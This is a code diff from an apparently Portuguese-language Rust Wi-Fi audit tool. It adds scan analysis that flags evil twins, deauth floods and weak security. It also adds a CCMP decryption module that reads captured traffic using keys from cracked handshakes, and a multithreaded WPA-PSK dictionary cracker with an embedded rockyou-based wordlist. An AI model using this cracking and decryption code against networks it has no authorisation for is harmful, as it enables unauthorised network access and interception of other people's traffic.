||||
let lo = (candidate_freq as f32 - half).max(*freq as f32 - ap_half);
|
||||
let hi = (candidate_freq as f32 + half).min(*freq as f32 + ap_half);
|
||||
let overlap = (hi - lo).max(0.0) / (half * 2.0);
|
||||
if overlap > 0.0 {
|
||||
score += overlap * weight;
|
||||
count += 1;
|
||||
}
|
||||
}
|
||||
(score, count)
|
||||
}
|
||||
|
||||
fn band_report(band: Band, aps: &[&AccessPoint]) -> BandReport {
|
||||
let mut occupied: Vec<(u16, u16, f32)> = Vec::new();
|
||||
let mut used = Vec::new();
|
||||
for ap in aps {
|
||||
let Some((freq, _)) = ap_freq(ap) else {
|
||||
continue;
|
||||
};
|
||||
occupied.push((
|
||||
freq,
|
||||
ap_width(ap),
|
||||
signal_weight(ap.signal_dbm.or(ap.max_signal_dbm)),
|
||||
));
|
||||
if let Some(ch) = ap.channel {
|
||||
used.push(ch);
|
||||
}
|
||||
}
|
||||
used.sort_unstable();
|
||||
used.dedup();
|
||||
|
||||
let mut candidates: Vec<ChannelCandidate> = candidates_for(band)
|
||||
.into_iter()
|
||||
.filter_map(|channel| {
|
||||
radiotap::channel_to_freq(channel, band).map(|freq| {
|
||||
let (score, count) = overlap_score(freq, &occupied);
|
||||
ChannelCandidate {
|
||||
channel,
|
||||
freq_mhz: freq,
|
||||
band: band_label(band).to_string(),
|
||||
score: (score * 1000.0).round() / 1000.0,
|
||||
aps: count,
|
||||
dfs: is_dfs(channel),
|
||||
}
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let preferred: Vec<u32> = match band {
|
||||
Band::B2G4 => vec![1, 6, 11],
|
||||
_ => Vec::new(),
|
||||
};
|
||||
let recommended = if preferred.is_empty() {
|
||||
candidates
|
||||
.iter()
|
||||
.filter(|c| !c.dfs)
|
||||
.min_by(|a, b| a.score.total_cmp(&b.score))
|
||||
.or_else(|| candidates.iter().min_by(|a, b| a.score.total_cmp(&b.score)))
|
||||
.map(|c| c.channel)
|
||||
} else {
|
||||
preferred
|
||||
.into_iter()
|
||||
.filter_map(|ch| candidates.iter().find(|c| c.channel == ch))
|
||||
.min_by(|a, b| a.score.total_cmp(&b.score))
|
||||
.map(|c| c.channel)
|
||||
};
|
||||
|
||||
candidates.sort_by(|a, b| {
|
||||
a.score
|
||||
.total_cmp(&b.score)
|
||||
.then_with(|| a.channel.cmp(&b.channel))
|
||||
});
|
||||
candidates.truncate(8);
|
||||
BandReport {
|
||||
band: band_label(band).to_string(),
|
||||
candidates,
|
||||
recommended,
|
||||
used_channels: used,
|
||||
}
|
||||
}
|
||||
|
||||
fn finding(
|
||||
id: &str,
|
||||
severity: &str,
|
||||
title: impl Into<String>,
|
||||
detail: impl Into<String>,
|
||||
ap: Option<&AccessPoint>,
|
||||
) -> Finding {
|
||||
Finding {
|
||||
id: id.into(),
|
||||
severity: severity.into(),
|
||||
title: title.into(),
|
||||
detail: detail.into(),
|
||||
bssid: ap.map(|a| a.bssid.clone()),
|
||||
ssid: ap.and_then(|a| a.ssid.clone()),
|
||||
}
|
||||
}
|
||||
|
||||
fn security_rank(security: Option<&str>) -> u8 {
|
||||
match security {
|
||||
Some("Open") => 0,
|
||||
Some("WEP") => 1,
|
||||
Some("WPA") => 2,
|
||||
Some("WPA2-EAP") => 3,
|
||||
Some("WPA2") => 4,
|
||||
Some("WPA2/WPA3") => 5,
|
||||
Some("WPA3-EAP") => 6,
|
||||
Some("WPA3") => 7,
|
||||
Some("OWE") => 4,
|
||||
_ => 3,
|
||||
}
|
||||
}
|
||||
|
||||
fn wpa3_info(ap: &AccessPoint) -> Option<Wpa3Info> {
|
||||
let sec = ap.security.as_deref()?;
|
||||
let is_wpa3 = sec.contains("WPA3") || sec == "OWE";
|
||||
if !is_wpa3 {
|
||||
return None;
|
||||
}
|
||||
let transition = sec == "WPA2/WPA3";
|
||||
let mut notes = Vec::new();
|
||||
if transition {
|
||||
notes.push(
|
||||
"Modo de transição aceita WPA2: um cliente pode ser induzido a usar o modo mais fraco."
|
||||
.into(),
|
||||
);
|
||||
}
|
||||
if !ap.pmf {
|
||||
notes
|
||||
.push("PMF não anunciado; WPA3 pressupõe proteção de quadros de gerenciamento.".into());
|
||||
} else if !ap.pmf_required && !transition {
|
||||
notes.push("PMF suportado, mas não obrigatório.".into());
|
||||
}
|
||||
if ap.wps {
|
||||
notes.push("WPS ativo em rede WPA3 — combinação incomum e enfraquece o conjunto.".into());
|
||||
}
|
||||
if ap.wps_locked == Some(false) {
|
||||
notes.push("WPS destravado: PIN pode ser testado.".into());
|
||||
}
|
||||
Some(Wpa3Info {
|
||||
bssid: ap.bssid.clone(),
|
||||
ssid: ap.ssid.clone(),
|
||||
mode: sec.to_string(),
|
||||
pmf: ap.pmf,
|
||||
pmf_required: ap.pmf_required,
|
||||
transition,
|
||||
notes,
|
||||
})
|
||||
}
|
||||
|
||||
pub fn analyze(aps: &[AccessPoint], deauth_60s: u32, now: u64) -> Analysis {
|
||||
let mut findings = Vec::new();
|
||||
let mut wpa3 = Vec::new();
|
||||
|
||||
let bands = [Band::B2G4, Band::B5, Band::B6]
|
||||
.into_iter()
|
||||
.filter_map(|band| {
|
||||
let filtered: Vec<&AccessPoint> = aps
|
||||
.iter()
|
||||
.filter(|ap| ap_freq(ap).is_some_and(|(_, b)| b == band))
|
||||
.collect();
|
||||
if filtered.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(band_report(band, &filtered))
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
// SSID anunciado com seguranças diferentes é o sinal clássico de evil
|
||||
// twin — legítimo costuma manter o mesmo conjunto em todos os rádios.
|
||||
let mut by_ssid: HashMap<String, Vec<&AccessPoint>> = HashMap::new();
|
||||
for ap in aps {
|
||||
if let Some(ssid) = ap.ssid.as_deref().filter(|s| !s.is_empty()) {
|
||||
by_ssid.entry(ssid.to_string()).or_default().push(ap);
|
||||
}
|
||||
}
|
||||
for (ssid, group) in &by_ssid {
|
||||
if group.len() < 2 {
|
||||
continue;
|
||||
}
|
||||
let mut ranks: Vec<u8> = group
|
||||
.iter()
|
||||
.map(|a| security_rank(a.security.as_deref()))
|
||||
.collect();
|
||||
ranks.sort_unstable();
|
||||
ranks.dedup();
|
||||
if ranks.len() > 1 {
|
||||
let detail = group
|
||||
.iter()
|
||||
.map(|a| format!("{} ({})", a.bssid, a.security.as_deref().unwrap_or("—")))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", ");
|
||||
findings.push(finding(
|
||||
"evil_twin_security",
|
||||
"bad",
|
||||
format!("SSID “{ssid}” com seguranças diferentes"),
|
||||
format!("O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {detail}. Pode ser um evil twin ou um AP mal configurado."),
|
||||
None,
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
if deauth_60s >= 40 {
|
||||
findings.push(finding(
|
||||
"deauth_flood",
|
||||
"bad",
|
||||
"Rajada de desautenticação",
|
||||
format!("{deauth_60s} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável."),
|
||||
None,
|
||||
));
|
||||
}
|
||||
let recent_aps = aps
|
||||
.iter()
|
||||
.filter(|a| now.saturating_sub(a.first_seen_unix) <= 60)
|
||||
.count();
|
||||
if recent_aps >= 60 {
|
||||
findings.push(finding(
|
||||
"beacon_flood",
|
||||
"warn",
|
||||
"Muitos BSSIDs novos",
|
||||
format!("{recent_aps} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso."),
|
||||
None,
|
||||
));
|
||||
}
|
||||
|
||||
for ap in aps {
|
||||
let label = ap
|
||||
.ssid
|
||||
.clone()
|
||||
.filter(|s| !s.is_empty())
|
||||
.unwrap_or_else(|| ap.bssid.clone());
|
||||
match ap.security.as_deref() {
|
||||
Some("Open") => findings.push(finding(
|
||||
"open",
|
||||
"bad",
|
||||
format!("Rede aberta: {label}"),
|
||||
"Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.",
|
||||
Some(ap),
|
||||
)),
|
||||
Some("WEP") => findings.push(finding(
|
||||
"wep",
|
||||
"bad",
|
||||
format!("WEP em {label}"),
|
||||
"WEP é quebrável em minutos; trate a rede como aberta.",
|
||||
Some(ap),
|
||||
)),
|
||||
Some("WPA") => findings.push(finding(
|
||||
"wpa1",
|
||||
"warn",
|
||||
format!("WPA1 (TKIP) em {label}"),
|
||||
"WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.",
|
||||
Some(ap),
|
||||
)),
|
||||
_ => {}
|
||||
}
|
||||
if ap.wps {
|
||||
findings.push(finding(
|
||||
"wps",
|
||||
if ap.wps_locked == Some(true) {
|
||||
"info"
|
||||
} else {
|
||||
"warn"
|
||||
},
|
||||
format!("WPS ativo em {label}"),
|
||||
if ap.wps_locked == Some(true) {
|
||||
"O AP anuncia WPS com configuração travada."
|
||||
} else {
|
||||
"WPS sem lock explícito; PIN pode ser testado com reaver/bully."
|
||||
},
|
||||
Some(ap),
|
||||
));
|
||||
}
|
||||
if !ap.pmf
|
||||
&& matches!(
|
||||
ap.security.as_deref(),
|
||||
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
|
||||
)
|
||||
{
|
||||
findings.push(finding(
|
||||
"no_pmf",
|
||||
"warn",
|
||||
format!("Sem PMF em {label}"),
|
||||
"Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.",
|
||||
Some(ap),
|
||||
));
|
||||
}
|
||||
if ap.pmf_required && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) && !ap.pmf
|
||||
{
|
||||
findings.push(finding(
|
||||
"pmf_inconsistent",
|
||||
"warn",
|
||||
format!("PMF inconsistente em {label}"),
|
||||
"O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.",
|
||||
Some(ap),
|
||||
));
|
||||
}
|
||||
if ap.wps && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) {
|
||||
findings.push(finding(
|
||||
"wpa3_wps",
|
||||
"warn",
|
||||
format!("WPA3 com WPS em {label}"),
|
||||
"WPS não faz parte do WPA3 e abre uma via mais fraca de associação.",
|
||||
Some(ap),
|
||||
));
|
||||
}
|
||||
if let Some(info) = wpa3_info(ap) {
|
||||
wpa3.push(info);
|
||||
}
|
||||
}
|
||||
|
||||
findings.sort_by_key(|f| match f.severity.as_str() {
|
||||
"bad" => 0,
|
||||
"warn" => 1,
|
||||
_ => 2,
|
||||
});
|
||||
Analysis {
|
||||
bands,
|
||||
findings,
|
||||
wpa3,
|
||||
deauth_60s,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::scan::ScanTable;
|
||||
use crate::testutil::{ap, beacon_frame, radiotap_wrap};
|
||||
|
||||
fn ingest(table: &mut ScanTable, ssid: &str, channel: u8, signal: i8, akms: &[u8]) {
|
||||
let frame = beacon_frame(ap(), ssid, channel, akms);
|
||||
table.ingest_at(
|
||||
&radiotap_wrap(&frame, 2407 + channel as u16 * 5, signal),
|
||||
100,
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recommends_16_or_11_in_24() {
|
||||
let mut table = ScanTable::new();
|
||||
ingest(&mut table, "Casa", 6, -40, &[2]);
|
||||
let result = table.analysis();
|
||||
let band = result
|
||||
.bands
|
||||
.iter()
|
||||
.find(|b| b.band == BAND_24)
|
||||
.expect("2.4");
|
||||
assert!(matches!(band.recommended, Some(1 | 6 | 11)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn flags_same_ssid_with_different_security() {
|
||||
let mut table = ScanTable::new();
|
||||
ingest(&mut table, "Loja", 6, -40, &[2]);
|
||||
let twin = beacon_frame([0x02, 0x11, 0x22, 0x33, 0x44, 0x55], "Loja", 11, &[]);
|
||||
table.ingest_at(&radiotap_wrap(&twin, 2462, -50), 100);
|
||||
let result = table.analysis();
|
||||
assert!(result.findings.iter().any(|f| f.id == "evil_twin_security"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn flags_wps_and_weak_networks() {
|
||||
let mut table = ScanTable::new();
|
||||
let frame = beacon_frame(ap(), "Antiga", 1, &[]);
|
||||
table.ingest_at(&radiotap_wrap(&frame, 2412, -60), 100);
|
||||
let result = table.analysis();
|
||||
assert!(result
|
||||
.findings
|
||||
.iter()
|
||||
.any(|f| f.id == "wep" || f.id == "open"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
//! Decriptação CCMP (WPA2-AES) de quadros de dados, usando a TK já derivada
|
||||
//! de um handshake quebrado.
|
||||
//!
|
||||
//! Isso não serve pra forjar nem reinjetar nada — só pra enxergar o conteúdo
|
||||
//! em claro (DHCP, mDNS) de um cliente cuja senha da rede já foi recuperada
|
||||
//! por dicionário, e assim extrair hostname/fabricante de verdade em vez de
|
||||
//! só o MAC. A chave é par (BSSID, estação): só decifra tráfego do cliente
|
||||
//! cujo próprio handshake foi capturado e quebrado, nunca de terceiros —
|
||||
//! cada associação tem sua PTK efêmera, então a senha da rede sozinha não
|
||||
//! abre o tráfego de quem a gente não viu entrar.
|
||||
//!
|
||||
//! Implementa só o modo CTR (a parte que decifra o conteúdo). O MIC
|
||||
//! (CBC-MAC) não é conferido: a intenção aqui é mostrar o payload de um
|
||||
//! tráfego que a gente já pode decifrar porque a senha é conhecida, não
|
||||
//! provar integridade de um quadro adulterado — e implementar o AAD/CBC-MAC
|
||||
//! certinho exigiria replicar o mascaramento do cabeçalho 802.11 inteiro
|
||||
//! sem ganho prático pro que isso serve aqui.
|
||||
|
||||
use aes::cipher::{BlockEncrypt, KeyInit};
|
||||
use aes::Aes128;
|
||||
|
||||
/// Decifra o corpo de um quadro de dados CCMP, a partir do cabeçalho CCMP
|
||||
/// (8 bytes) em diante — ou seja, `body` é `frame.body[frame.header_len..]`.
|
||||
/// `transmitter` é o endereço 2 (A2) do quadro — o rádio que o enviou, não o
|
||||
/// BSSID/estação lógicos. `qos_tid` é o TID do QoS Control (0 se não-QoS).
|
||||
///
|
||||
/// Retorna o LLC/SNAP + payload em claro (o mesmo formato que um quadro não
|
||||
/// protegido teria), sem os 8 bytes de MIC cifrado no final.
|
||||
pub fn decrypt_data(
|
||||
tk: &[u8; 16],
|
||||
transmitter: &[u8; 6],
|
||||
qos_tid: u8,
|
||||
body: &[u8],
|
||||
) -> Option<Vec<u8>> {
|
||||
const HEADER_LEN: usize = 8;
|
||||
const MIC_LEN: usize = 8;
|
||||
if body.len() < HEADER_LEN + MIC_LEN {
|
||||
return None;
|
||||
}
|
||||
let pn0 = body[0];
|
||||
let pn1 = body[1];
|
||||
let key_id_octet = body[3];
|
||||
// ExtIV (bit 5) precisa estar ligado — senão não é um cabeçalho CCMP de
|
||||
// verdade (podia ser WEP de 4 bytes por coincidência de layout).
|
||||
if key_id_octet & 0x20 == 0 {
|
||||
return None;
|
||||
}
|
||||
let pn2 = body[4];
|
||||
let pn3 = body[5];
|
||||
let pn4 = body[6];
|
||||
let pn5 = body[7];
|
||||
|
||||
let ciphertext_and_mic = &body[HEADER_LEN..];
|
||||
let ciphertext = &ciphertext_and_mic[..ciphertext_and_mic.len() - MIC_LEN];
|
||||
|
||||
// Nonce CCMP (13 bytes): flags/prioridade (1) || A2 (6) || PN, do byte
|
||||
// mais significativo (PN5) ao menos significativo (PN0).
|
||||
let mut nonce = [0u8; 13];
|
||||
nonce[0] = qos_tid & 0x0f;
|
||||
nonce[1..7].copy_from_slice(transmitter);
|
||||
nonce[7] = pn5;
|
||||
nonce[8] = pn4;
|
||||
nonce[9] = pn3;
|
||||
nonce[10] = pn2;
|
||||
nonce[11] = pn1;
|
||||
nonce[12] = pn0;
|
||||
|
||||
let cipher = Aes128::new(tk.into());
|
||||
let mut out = Vec::with_capacity(ciphertext.len());
|
||||
let mut counter: u16 = 1; // o bloco de contador 0 cifra só o MIC, não dado.
|
||||
for chunk in ciphertext.chunks(16) {
|
||||
let mut block = [0u8; 16];
|
||||
block[0] = 0x01; // flag octet do CCMP counter mode (L=1, sem AAD aqui)
|
||||
block[1..14].copy_from_slice(&nonce);
|
||||
block[14..16].copy_from_slice(&counter.to_be_bytes());
|
||||
let mut keystream = block.into();
|
||||
cipher.encrypt_block(&mut keystream);
|
||||
for (c, k) in chunk.iter().zip(keystream.iter()) {
|
||||
out.push(c ^ k);
|
||||
}
|
||||
counter = counter.wrapping_add(1);
|
||||
}
|
||||
Some(out)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// AES-128 do FIPS-197 (vetor de referência oficial do NIST): confirma
|
||||
/// que a cifra de bloco usada embaixo está correta antes de confiar no
|
||||
/// contador CTR por cima dela.
|
||||
#[test]
|
||||
fn aes128_matches_fips197_vector() {
|
||||
let key: [u8; 16] = [
|
||||
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,
|
||||
0x0e, 0x0f,
|
||||
];
|
||||
let plaintext: [u8; 16] = [
|
||||
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd,
|
||||
0xee, 0xff,
|
||||
];
|
||||
let expected: [u8; 16] = [
|
||||
0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8, 0xcd, 0xb7, 0x80, 0x70, 0xb4,
|
||||
0xc5, 0x5a,
|
||||
];
|
||||
let cipher = Aes128::new(&key.into());
|
||||
let mut block = plaintext.into();
|
||||
cipher.encrypt_block(&mut block);
|
||||
assert_eq!(block.as_slice(), &expected);
|
||||
}
|
||||
|
||||
/// Round-trip de auto-consistência: decifrar um texto que a própria
|
||||
/// função "cifrou" (mesmo algoritmo, usado nos dois sentidos — CTR é
|
||||
/// simétrico) tem que devolver o original. Isso pega bug de indexação
|
||||
/// no nonce/contador mesmo sem um vetor de teste oficial do CCMP à mão.
|
||||
#[test]
|
||||
fn ctr_round_trip_recovers_plaintext() {
|
||||
let tk = [0x42u8; 16];
|
||||
let transmitter = [0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff];
|
||||
let plaintext = b"AA AA 03 00 00 00 08 00 payload de teste bem maior que um bloco de 16 bytes para cobrir mais de uma rodada do contador";
|
||||
|
||||
// Monta um "quadro" CCMP cifrando manualmente com a mesma lógica de
|
||||
// keystream (ela é simétrica: XOR com o keystream cifra e decifra).
|
||||
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV ligado
|
||||
let mut nonce = [0u8; 13];
|
||||
nonce[0] = 3; // TID
|
||||
nonce[1..7].copy_from_slice(&transmitter);
|
||||
nonce[7] = header[7];
|
||||
nonce[8] = header[6];
|
||||
nonce[9] = header[5];
|
||||
nonce[10] = header[4];
|
||||
nonce[11] = header[1];
|
||||
nonce[12] = header[0];
|
||||
let cipher = Aes128::new(&tk.into());
|
||||
let mut ciphertext = Vec::with_capacity(plaintext.len());
|
||||
let mut counter: u16 = 1;
|
||||
for chunk in plaintext.chunks(16) {
|
||||
let mut block = [0u8; 16];
|
||||
block[0] = 0x01;
|
||||
block[1..14].copy_from_slice(&nonce);
|
||||
block[14..16].copy_from_slice(&counter.to_be_bytes());
|
||||
let mut keystream = block.into();
|
||||
cipher.encrypt_block(&mut keystream);
|
||||
for (p, k) in chunk.iter().zip(keystream.iter()) {
|
||||
ciphertext.push(p ^ k);
|
||||
}
|
||||
counter = counter.wrapping_add(1);
|
||||
}
|
||||
ciphertext.extend_from_slice(&[0u8; 8]); // MIC fictício, ignorado na decriptação
|
||||
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(&header);
|
||||
body.extend_from_slice(&ciphertext);
|
||||
|
||||
let out = decrypt_data(&tk, &transmitter, 3, &body).expect("decifra");
|
||||
assert_eq!(out, plaintext);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rejects_body_without_extiv_bit() {
|
||||
let tk = [0u8; 16];
|
||||
let body = [0u8; 20]; // key_id_octet (índice 3) sem o bit ExtIV
|
||||
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rejects_body_too_short() {
|
||||
let tk = [0u8; 16];
|
||||
let body = [0u8; 10];
|
||||
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
|
||||
}
|
||||
}
|
||||
+314
-29
@@ -15,13 +15,17 @@ use crate::dot11::parse_mac;
|
||||
use crate::error::{Result, SabiaError};
|
||||
use crate::handshake::Handshake;
|
||||
use crate::pcapreader::PcapReader;
|
||||
use crate::rules::Mask;
|
||||
use crate::scan::ScanTable;
|
||||
use flate2::read::GzDecoder;
|
||||
use hmac::{Hmac, Mac};
|
||||
use md5::Md5;
|
||||
use sha1::Sha1;
|
||||
use std::fs::File;
|
||||
use std::io::{BufRead, BufReader};
|
||||
use std::io::{BufRead, BufReader, Read};
|
||||
use std::path::Path;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::{LazyLock, Mutex};
|
||||
use std::time::Instant;
|
||||
|
||||
type HmacSha1 = Hmac<Sha1>;
|
||||
@@ -29,6 +33,37 @@ type HmacMd5 = Hmac<Md5>;
|
||||
|
||||
const WPA_ITERATIONS: u32 = 4096;
|
||||
|
||||
/// `.gz` do dicionário embutido — descomprimido só na primeira vez que é
|
||||
/// usado (ver [`default_wordlist`]). Cru são ~101MB; comprimido, ~39MB no
|
||||
/// binário em vez de ~101MB.
|
||||
const DEFAULT_WORDLIST_GZ: &[u8] = include_bytes!("../assets/wordlists/wpa-full.txt.gz");
|
||||
|
||||
pub const DEFAULT_WORDLIST_SOURCE: &str =
|
||||
"Probable-Wordlists (berzerk0) WPA-Length top204k (CC BY-SA 4.0) + rockyou.txt via SecLists — ver assets/wordlists/LICENSE.wpa-full";
|
||||
|
||||
static DEFAULT_WORDLIST_CACHE: LazyLock<String> = LazyLock::new(|| {
|
||||
let mut out = String::new();
|
||||
GzDecoder::new(DEFAULT_WORDLIST_GZ)
|
||||
.read_to_string(&mut out)
|
||||
.expect("dicionário embutido corrompido");
|
||||
out
|
||||
});
|
||||
|
||||
/// Lista embutida de senhas prováveis de Wi-Fi, usada quando o usuário não
|
||||
/// escolhe um dicionário próprio. Não depende de arquivo externo: é a lista
|
||||
/// mais completa que o Sabiá consegue embutir sem exigir download —
|
||||
/// 9.703.831 senhas (203.806 do Probable-Wordlists, ranqueadas por
|
||||
/// probabilidade, seguidas pelo rockyou.txt inteiro) filtradas pro
|
||||
/// comprimento válido de WPA (8–63) e pra ASCII puro (WPA-PSK exige um
|
||||
/// octeto válido; a imensa maioria dos roteadores só aceita ASCII mesmo, e
|
||||
/// isso evita o pouco de lixo binário que o rockyou.txt original carrega),
|
||||
/// sem duplicatas e na ordem de prioridade: as mais prováveis primeiro,
|
||||
/// então a quebra tende a achar a senha cedo, não só no fim da lista. Ver
|
||||
/// `assets/wordlists/LICENSE.wpa-full` pra atribuição completa.
|
||||
pub fn default_wordlist() -> &'static str {
|
||||
&DEFAULT_WORDLIST_CACHE
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct CrackTarget {
|
||||
pub ssid: String,
|
||||
@@ -116,8 +151,10 @@ pub fn derive_pmk(passphrase: &str, ssid: &str) -> [u8; 32] {
|
||||
}
|
||||
|
||||
/// Aceita uma frase-senha (8–63 caracteres) ou uma PMK crua em hexadecimal
|
||||
/// (64 caracteres, como no hashcat/aircrack).
|
||||
fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
|
||||
/// (64 caracteres, como no hashcat/aircrack). `pub(crate)` porque
|
||||
/// `handshake.rs` reusa exatamente essa regra ao derivar a TK de uma senha
|
||||
/// já quebrada (o campo `password` aceita as duas formas, igual aqui).
|
||||
pub(crate) fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
|
||||
if candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()) {
|
||||
return hex_to_32(candidate.as_bytes());
|
||||
}
|
||||
@@ -133,15 +170,20 @@ fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
|
||||
pub fn pbkdf2_sha1(password: &[u8], salt: &[u8], iterations: u32, out_len: usize) -> Vec<u8> {
|
||||
let iterations = iterations.max(1);
|
||||
let mut out = Vec::with_capacity(out_len);
|
||||
// O par ipad/opad depende só da senha — monta uma vez e clona a cada
|
||||
// rodada (clone é só copiar os dois blocos já prontos) em vez de montar
|
||||
// o HMAC do zero em cada uma das milhares de iterações. Em 4096
|
||||
// iterações por bloco isso é a maior parte do custo fora do SHA1 em si.
|
||||
let base = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
|
||||
let mut block: u32 = 1;
|
||||
while out.len() < out_len {
|
||||
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
|
||||
let mut mac = base.clone();
|
||||
mac.update(salt);
|
||||
mac.update(&block.to_be_bytes());
|
||||
let mut u = mac.finalize().into_bytes();
|
||||
let mut t = u;
|
||||
for _ in 1..iterations {
|
||||
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
|
||||
let mut mac = base.clone();
|
||||
mac.update(&u);
|
||||
u = mac.finalize().into_bytes();
|
||||
for (a, b) in t.iter_mut().zip(u.iter()) {
|
||||
@@ -272,16 +314,26 @@ fn valid_candidate(candidate: &str) -> bool {
|
||||
|| (candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()))
|
||||
}
|
||||
|
||||
/// Tenta cada linha do dicionário contra o alvo. `progress` recebe o número
|
||||
/// de candidatos já processados.
|
||||
pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
|
||||
/// Tenta cada linha do dicionário contra o alvo, dividindo o trabalho entre
|
||||
/// as threads disponíveis (PBKDF2-HMAC-SHA1 de 4096 iterações é CPU puro e
|
||||
/// cada candidato é independente — ganho quase linear com o número de
|
||||
/// núcleos). `progress` recebe o número de candidatos já processados, ~8x
|
||||
/// por segundo enquanto roda. Com `apply_rules`, cada linha vira até
|
||||
/// [`rules::VARIANTS_PER_WORD`] candidatos (maiúscula, sufixos comuns, leet
|
||||
/// simples) em vez de só a palavra crua — multiplica o tempo de verdade,
|
||||
/// por isso é opt-in.
|
||||
pub fn crack_reader<R: BufRead, F: FnMut(u64) + Send>(
|
||||
target: &CrackTarget,
|
||||
mut wordlist: R,
|
||||
apply_rules: bool,
|
||||
mut progress: F,
|
||||
) -> CrackReport {
|
||||
let start = Instant::now();
|
||||
let mut tried = 0u64;
|
||||
let mut password = None;
|
||||
|
||||
// Carrega a lista inteira antes de começar: dá pra repartir em pedaços
|
||||
// contíguos por thread (melhor localidade de cache que round-robin) e o
|
||||
// próprio dicionário embutido cabe de sobra em memória.
|
||||
let mut candidates: Vec<String> = Vec::new();
|
||||
let mut line = String::new();
|
||||
loop {
|
||||
line.clear();
|
||||
@@ -294,20 +346,62 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
|
||||
if candidate.is_empty() {
|
||||
continue;
|
||||
}
|
||||
tried += 1;
|
||||
if valid_candidate(candidate) && target.verify(candidate) {
|
||||
password = Some(candidate.to_string());
|
||||
break;
|
||||
}
|
||||
if tried % 128 == 0 {
|
||||
progress(tried);
|
||||
if apply_rules {
|
||||
candidates.extend(crate::rules::expand(candidate));
|
||||
} else {
|
||||
candidates.push(candidate.to_string());
|
||||
}
|
||||
}
|
||||
progress(tried);
|
||||
|
||||
let total = candidates.len();
|
||||
let workers = std::thread::available_parallelism()
|
||||
.map(std::num::NonZeroUsize::get)
|
||||
.unwrap_or(1)
|
||||
.min(total.max(1));
|
||||
let chunk = total.div_ceil(workers.max(1)).max(1);
|
||||
|
||||
let tried = AtomicU64::new(0);
|
||||
let stop = AtomicBool::new(false);
|
||||
let found: Mutex<Option<String>> = Mutex::new(None);
|
||||
|
||||
std::thread::scope(|scope| {
|
||||
for part in candidates.chunks(chunk) {
|
||||
let tried = &tried;
|
||||
let stop = &stop;
|
||||
let found = &found;
|
||||
scope.spawn(move || {
|
||||
for candidate in part {
|
||||
if stop.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
if valid_candidate(candidate) && target.verify(candidate) {
|
||||
*found.lock().unwrap() = Some(candidate.clone());
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
return;
|
||||
}
|
||||
tried.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Thread "repórter": roda dentro do mesmo scope só pra poder
|
||||
// emprestar `progress` (FnMut, chamado de um único lugar).
|
||||
scope.spawn(|| loop {
|
||||
std::thread::sleep(std::time::Duration::from_millis(120));
|
||||
let n = tried.load(Ordering::Relaxed);
|
||||
progress(n);
|
||||
if stop.load(Ordering::Relaxed) || n as usize >= total {
|
||||
break;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
let final_tried = tried.load(Ordering::Relaxed);
|
||||
progress(final_tried);
|
||||
|
||||
CrackReport {
|
||||
password,
|
||||
tried,
|
||||
password: found.into_inner().unwrap(),
|
||||
tried: final_tried,
|
||||
elapsed_ms: start.elapsed().as_millis() as u64,
|
||||
ssid: Some(target.ssid.clone()),
|
||||
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
|
||||
@@ -316,26 +410,52 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
|
||||
}
|
||||
}
|
||||
|
||||
pub fn crack_handshake<F: FnMut(u64)>(
|
||||
